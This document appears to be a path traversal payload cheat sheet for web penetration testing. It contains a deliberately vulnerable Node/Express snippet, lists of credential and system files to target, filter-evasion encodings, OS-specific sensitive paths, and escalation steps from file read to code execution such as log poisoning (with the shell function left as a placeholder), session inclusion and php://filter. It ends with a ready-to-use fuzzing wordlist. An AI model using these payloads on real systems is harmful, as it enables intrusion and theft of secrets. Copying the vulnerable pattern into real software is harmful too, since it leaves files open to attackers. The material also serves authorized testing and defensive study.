Path Traversal / Directory Traversal
Reading files outside the intended root with ../ — the impact targets worth grabbing, every filter-evasion encoding, OS-specific paths, and the read-to-RCE escalations.
When an application builds a file path from user input without sanitizing it, ../
(dot-dot-slash) sequences let an attacker climb the directory tree and read files outside the
intended folder.
// vulnerable (Node/Express): path.join resolves the ../ sequences
const filePath = path.join("/var/www/uploads", req.query.name);
res.sendFile(filePath);
// ?name=../../../etc/passwd → /etc/passwd§Impact — what to read
- Config files —
.env,config.php,settings.py,application.properties→ DB creds, API keys, JWT secret. - System files —
/etc/passwd,/etc/shadow(only if running as root),/etc/hosts,/etc/hostname. - Application source —
index.js,app.py,web.xmlto map other vulnerabilities. - Procfs (Linux) —
/proc/self/environfor process environment variables (database URLs, secrets). - Logs —
/var/log/apache2/access.log,/var/log/nginx/access.log(enables log poisoning → RCE, below). - Windows —
C:\Windows\win.ini,C:\boot.ini,C:\Windows\System32\drivers\etc\hosts.
§Basic payloads — start here
../../../etc/passwd Linux user database
..\..\..\windows\win.ini Windows (backslash)
../../../../app/.env env variables
../../../../proc/self/environ process env
../../../../var/log/apache2/access.log log files
../../../../etc/hosts hosts file§Filter evasion
1. Stripped ../ (non-recursive replacement)
If the filter removes ../ once and doesn't loop, nest the sequences so removal creates a
valid one:
....//....//....//etc/passwd strip "../" → ../../../etc/passwd
..././..././..././etc/passwd2. Encoding
If the app URL-decodes input, encode the dots/slashes. If a WAF decodes once before the app decodes again, double-encode:
%2e%2e%2f = ../ single URL encode
..%2f = ../ slash only
%252e%252e%252f → ../ double encode (after first decode)
..%252f → ../ double-encoded slash
%c0%ae%c0%ae%c0%af = ../ overlong UTF-8 (old IIS)
%u002e%u002e%u002f = ../ unicode?file=%252e%252e%252f%252e%252e%252fetc%252fpasswd → ../../etc/passwd3. Absolute path
If input is appended to a base but absolute paths are honored, skip traversal entirely:
/etc/passwd
/var/www/html/index.php
C:\Windows\win.ini4. Null byte (legacy PHP < 5.3.4 / old Java)
Terminate the string early so an appended extension (.pdf, .jpg) is ignored:
../../../etc/passwd%00.pdf
../../../etc/passwd%00.jpg5. Base-path consumption
When the base is fixed (e.g. /var/www/files/), feed traversal that climbs back out of it:
/var/www/files/../../etc/passwdThis is the case whenever the code does __dirname + userInput — you start inside a known dir
and walk up.
6. Deep traversal
../ past the filesystem root is harmless, so overshoot to defeat depth assumptions:
../../../../../../../../../../etc/passwd7. Separator and unicode variants
..;/..;/..;/etc/passwd semicolon separator (some routers/parsers)
..%c0%af overlong UTF-8 slash
..%5c..%5c encoded backslash (Windows)§OS-specific paths
Linux / Unix
/etc/passwd
/etc/shadow
/etc/hosts
/etc/hostname
/etc/resolv.conf
/proc/self/environ
/proc/self/cmdline
/proc/self/status
/proc/self/fd/0 stdin (often holds request input)
/proc/self/fd/1 stdout
/proc/self/fd/2 stderr
/var/log/apache2/access.log
/var/log/nginx/access.log
/var/log/auth.log
/home/*/.bash_history
/root/.bash_historyWindows
C:\Windows\win.ini
C:\Windows\System32\drivers\etc\hosts
C:\boot.ini
C:\inetpub\wwwroot\web.config
C:\Windows\System32\inetsrv\MetaBase.xml
C:\Windows\repair\SAM§From file read to code execution
Log poisoning (LFI → RCE)
If the include/read sink executes PHP and you can reach a log file:
- Send a request with a minimal PHP command-exec one-liner in a logged header. Substitute a
real exec function (
system,passthru,exec) forEXECbelow — kept as a placeholder so this page doesn't ship a live web shell:
User-Agent: <?php EXEC($_GET['cmd']); ?>- Include the poisoned log via traversal and pass a command:
?file=../../../../var/log/apache2/access.log&cmd=idPHP session inclusion
Set an attacker-controlled value into your session, then include the session file:
/var/lib/php/sessions/sess_<your_session_id>/proc/self/fd/*
When you can't guess the target path, walk the process's open file descriptors —
/proc/self/fd/0 frequently exposes the current request body:
../../../../proc/self/fd/0PHP wrappers
Not traversal proper, but the same include() / file_get_contents() sinks accept stream
wrappers — base64-encode source to exfiltrate it intact:
?file=php://filter/convert.base64-encode/resource=index.php§Testing methodology
- Spot the parameter —
file=,path=,name=,page=,doc=,template=. - Try the basic payload —
../../../etc/passwd. - If blocked, escalate encodings — single → double URL encode → UTF-8/unicode variants.
- Read the response:
root:x:0:0...→ success.- "file not found" → wrong depth; try an absolute path or add/remove
../. - File downloaded/rendered → inspect its content.
- No output but differing errors → likely blind traversal; diff responses.
§Fuzzing wordlist
Drop into Burp Intruder / ffuf to sweep quickly:
../etc/passwd
../../etc/passwd
../../../etc/passwd
../../../../etc/passwd
....//....//....//etc/passwd
..%2f..%2f..%2fetc%2fpasswd
%2e%2e%2f%2e%2e%2fetc%2fpasswd
%252e%252e%252f%252e%252e%252fetc%252fpasswd
..%c0%af..%c0%afetc/passwd
..\..\..\windows\win.ini
..%5c..%5c..%5cwindows%5cwin.ini
%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini
../../../../proc/self/environ
..;/..;/..;/etc/passwd
..%252f..%252fetc/passwd